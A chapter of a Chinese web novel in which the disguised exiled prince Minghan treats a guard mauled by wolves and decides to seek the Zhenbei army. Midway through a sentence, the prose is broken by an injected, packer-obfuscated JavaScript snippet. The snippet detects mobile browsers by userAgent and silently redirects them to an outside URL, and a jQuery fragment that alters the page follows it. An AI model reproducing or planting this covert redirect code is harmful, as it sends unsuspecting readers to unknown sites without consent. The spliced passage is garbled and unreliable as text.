群山深处传来此起彼伏的狼嚎,引得城中犬吠不止。 一道人影映在夕照城北的城墙上,那人动作迅捷,环顾四周后踏着几乎笔直的城墙几步便攀上了去。他扒在墙头,见两名大承士兵分别背向而行后,飞身上墙,三步并作两步从城墙另一端翻了下去,全程没有发出半点声音。 他出了城,便向荒漠疾行。借着月光一刻不停地跑了一个时辰,远处的荒漠上赫然出现一座砖石房子。 夜枭在空中盘旋了一阵俯冲而下,落于石房子前方同样是砖石垒砌的平台上。 隔着老远就能闻到一股血腥气。今日天葬台又有新的尸体送来,天葬师将尸体砍成碎块,置于平台之上,供狼群食用。而眼下夜枭吃的,都是狼群吃剩下的。 那人顶着寒风继续往石房子跑去,身后不知何时出现了几只狼。 那人只回头看了一眼,饶是久经沙场的老将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287715|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也不由得吓得魂飞魄散。 野狼以人肉为食,眼中冒出绿油油的凶光。头狼四肢健壮,突然加速飞扑,一口咬中他的小腿。 他哀嚎一声,重重地摔倒在地。 狼群围将上来,就在头狼张口咬向他咽喉的瞬间,一支火箭如流星划破暗夜,直直刺穿头狼的脖子。 狼群其他狼四散奔逃,两人从石房子奔出,背起受伤的同伴。 野狼站在不远处的山岗上向这边张望。 石房子内部大约四丈见方,中间点着柴火,那三人回来,与另外两人一同席地而坐。 “殿下,属下回来迟了。”受伤男人解下背上的包袱,递给其中一人。 端坐着的男人穿着一身天葬师的服装,脸上纵横交错满是皱纹,是易了容的罗傲三王子明翰。 明翰接过包袱放在地上,拔出匕首割开他的裤腿:“福耀,别说了,先疗伤。” 福耀:“今日城中多了许多狼骑,属下一直在躲避他们……殿下,咱们恐怕得连夜离开了。” 他挣扎着想起身,又被清理伤口的过程痛出一身冷汗,死死抓着同伴的胳膊,才没让自己叫出来。 “你且忍忍。”明翰用刀剃掉狼牙伤口附近的肉避免感染。 福耀痛昏了过去,明翰替他包扎好伤口,擦净匕首上的血迹,小声说道:“咱们的马没了,福耀又受了伤,暂且还不能离开。” 另一侍卫道:“可是狼骑就在夕照城,迟早会搜到这里。” “殿下,福耀是狼王的士兵,生下来就是为了保护狼王的血脉,他的命是您的。”侍卫的话意思很明白,要把福耀丢下,“您是蛰伏的狼王,为您牺牲是他的荣幸。” 明翰却道:“你们是父王的亲卫,跟着我出逃,三十人只剩下你们四人,我不能再丢下你们任何一人,我活下来走的路,是用你们的血铺就的……我……”六十多天的逃亡、身边可信之人一个个惨死,令他感到身心俱疲,哽咽道,“我在想,父王或许真的选错了人。” 侍卫:“殿下,狼王将圣物交付与您,您就是新任狼王,您就是我们的王。” “是!”三名侍卫单膝跪地,右手握拳放于胸前道,“您就是我们的王,请不要放弃罗傲百姓。我等就算豁出性命也要护送您回到王都,夺回王位!!” 老王在明措逼宫前,将狼王圣物交给了明翰,只来得及说一句对不起,就让三十亲卫护送明翰离开了王宫。 明翰懂这句对不起的含义。 父王早已定好了继承人人选,就是明翰。但他在位时征战大承,劳民伤财,百姓怨声载道,他生病之后会不该当初,想在位之际多做些名留青史的功业出来,所以迟迟没有公布继承人,任凭两位王子争权夺位却不插手。 可事已至此又能如何?论帝王无情,明翰自认不如弟弟,所以他做不出逼宫之事,更不会犯残害手足的罪行,比起他,明措确实堪得起狼王的名号,而他只是个丧家之犬。 狼嚎四起,如一盆冰水从头浇下。 他冷静了下来,那伤春悲秋、被逼上绝路的绝望之情也被浇熄。 “还有一个方法。”他苍老的易容下,双眼迸发出寒星般的光,“明日咱们就去找镇北军。”